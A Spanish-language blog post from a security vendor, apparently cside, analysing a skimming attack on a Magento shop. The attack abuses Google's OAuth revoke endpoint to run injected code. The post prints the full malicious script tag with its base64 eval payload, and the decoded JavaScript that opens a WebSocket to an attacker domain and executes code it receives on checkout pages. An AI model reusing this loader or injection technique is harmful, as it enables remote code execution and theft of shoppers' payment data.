Skip to main content
Blog
Blog

Google OAuth Weaponizado Activa un WebSocket Malicioso

Un atacante está usando 'Google.com' para entregar y ejecutar su propio código en un ataque de Google OAuth weaponizado.

Jun 10, 2025 4 min read
weaponized-google-oauth-image-cover
Tabla de Contenidos

Resumen: detectar inyección falsa de script OAuth Google

  • Un dominio de confianza abusado: Si un script src empieza por accounts.google.com nadie mira dos veces. Justo por eso los atacantes apuntaron un callback ahí y metieron JavaScript en base64 en el parámetro para ejecutarse dentro de tu página de checkout.
  • Cómo lo cazó cside: En el sitio Magento parts[.]expert, cside cazó una URL de revoke OAuth armada que ejecutaba eval(atob(...)) y abría un WebSocket a livechatinc[.]network/chatpipe/029/, un dominio marcado como malicioso en VirusTotal. El script solo disparaba en URLs de checkout, así que un crawler estático lo habría pasado por alto.
  • Confía en el comportamiento: Deja de confiar en un script por su dominio padre. Confía en el comportamiento en tiempo de ejecución. Si una URL de Google abre un WebSocket a un dominio de chat durante el checkout, o tu plataforma lo ve en vivo o tus clientes pagan el retraso.

¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.

Analizamos un ataque client-side especialmente ingenioso en un sitio de eCommerce basado en Magento: parts[.]expert. Aunque no es un dominio de alto tráfico, la técnica de inyección utilizada merece atención, porque se oculta a plena vista.

El atacante está usando 'Google.com' para entregar y ejecutar su propio código y explotar las medidas de seguridad de OAuth, lo que puede comprometer credenciales de cuentas de Google y tokens de acceso.

Qué Encontramos

Nuestro sistema marcó un script proveniente de una URL inesperada:

<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
cside marcando un script cargado desde una URL de OAuth de Google inesperada

A primera vista, parece una URL legítima de cierre de sesión OAuth del servidor de autorización:

accounts.google.com/o/oauth2/revoke.

Pero al analizarla más de cerca, el parámetro callback está weaponizado para ejecutar un payload JavaScript ofuscado mediante eval(atob(...)).

URL de revoke de OAuth de Google weaponizada que oculta un payload de callback JavaScript ofuscado

Análisis Paso a Paso

El payload codificado en base64 embebido en el callback se decodifica en otro script ofuscado, que crea dinámicamente una conexión WebSocket maliciosa hacia un dominio controlado por el atacante, lo que plantea serias preocupaciones de seguridad en WebSocket. Decodificado, el código es el siguiente:

(function() {
  let setupMaliciousWebSocket = () => {
    // Conectar al servidor WebSocket del atacante
    const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");

    // Ejecutar cualquier código recibido desde el servidor
    ws.onmessage = (event) => {
      const maliciousCode = atob(event.data); // Decodificar Base64
      new Function(maliciousCode).call(event.target); // Ejecutar dinámicamente
    };
  };

  // Ejecutar si:
  // 1. El navegador está automatizado (p. ej., bots), O
  // 2. La URL contiene 'checkout' (p. ej., página de pago)
  if (navigator.webdriver || window.location.href.match('checkout')) {
    setupMaliciousWebSocket();
  }
})();

Qué Hace el Script

  1. Se conecta a un servidor WebSocket malicioso si la página contiene checkout en la URL. O bien, si el navegador parece automatizado, abre una conexión wss:// hacia livechatinc[.]network/chatpipe/029/. Ese dominio ya está marcado como malicioso: enlace a VirusTotal, y son ejemplos claros de ataques WebSocket en acción.
  2. Recibe y ejecuta payloads remotos: Cualquier mensaje codificado en base64 enviado a través del WebSocket se decodifica y ejecuta con new Function(...). Esto le otorga al atacante capacidades de ejecución remota completa dentro de la sesión del navegador del usuario (una técnica frecuentemente usada en phishing OAuth y otros ataques OAuth), y puede derivar en una filtración de datos, interceptando información sensible como direcciones de correo electrónico y datos de pago.
  3. Consciente del momento y el contexto: El script se activa específicamente en páginas de checkout, probablemente para interceptar datos de pago o inyectar elementos fraudulentos en tiempo real.

Por Qué Es Importante

  • Parece legítimo: Aparenta cargar desde un dominio de Google, lo que recuerda al tráfico asociado a vulnerabilidades de Google OAuth, por lo que la mayoría de las herramientas de seguridad lo considerarían de confianza sin cuestionarlo. Una CSP no podrá detectar este ataque, ya que el dominio de confianza Google.com pasará sin problemas. Un filtro DNS en el dispositivo del usuario tampoco sería efectivo.
  • Evade los escáneres estáticos: La lógica peligrosa está anidada en dos capas de ofuscación y solo se ejecuta bajo condiciones específicas, lo que lo hace especialmente difícil de detectar para organizaciones que no cuentan con un evaluador de seguridad cualificado (QSA).
  • Control en tiempo real: Los payloads basados en WebSocket permiten a los atacantes enviar lógica maliciosa dinámica en función de las acciones del usuario.

Hemos visto antes suplantación de dominios y loaders ofuscados, pero esta combinación de redirección OAuth + control en vivo activado condicionalmente va un paso más allá.

Nuestro producto en cside fue capaz de identificar y detectar este ataque. Recibimos el payload completo del script descargado y lo analizamos antes de que llegue al navegador.

Puedes registrarte o solicitar una demo aquí.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitoriza y protege tus scripts de terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Empieza gratis o prueba Business con una versión de prueba de 14 días.

Interfaz del panel de cside que muestra la monitorización de scripts y el análisis de seguridad
Related Articles
Reservar una demo

¿Quieres verlo en detalle con un ingeniero?

Treinta minutos, sobre tu propio sitio. Nada de diapositivas.

Te enseñaremos:

Qué scripts de terceros se están ejecutando ahora mismo en tu sitio
En qué punto estás con los requisitos 6.4.3 y 11.6.1 de PCI DSS
Qué parte de tu tráfico son bots y agentes de IA

¿Prefieres mandarnos una pregunta?

Buscando huecos libres…

Solo humanos de verdad. Nos daríamos cuenta.

¿Problemas para reservar? Abrir el calendario en una pestaña nueva

¿Qué quieres resolver?

Cuéntanoslo en una línea y te responderemos con algo útil, no con un discurso genérico.

Solemos ayudar con:

Ver qué scripts de terceros se ejecutan en tu sitio
Evidencias para PCI DSS 6.4.3 y 11.6.1
Bots, agentes de IA y robo de cuentas

¿Prefieres reservar una hora? Elegir un hueco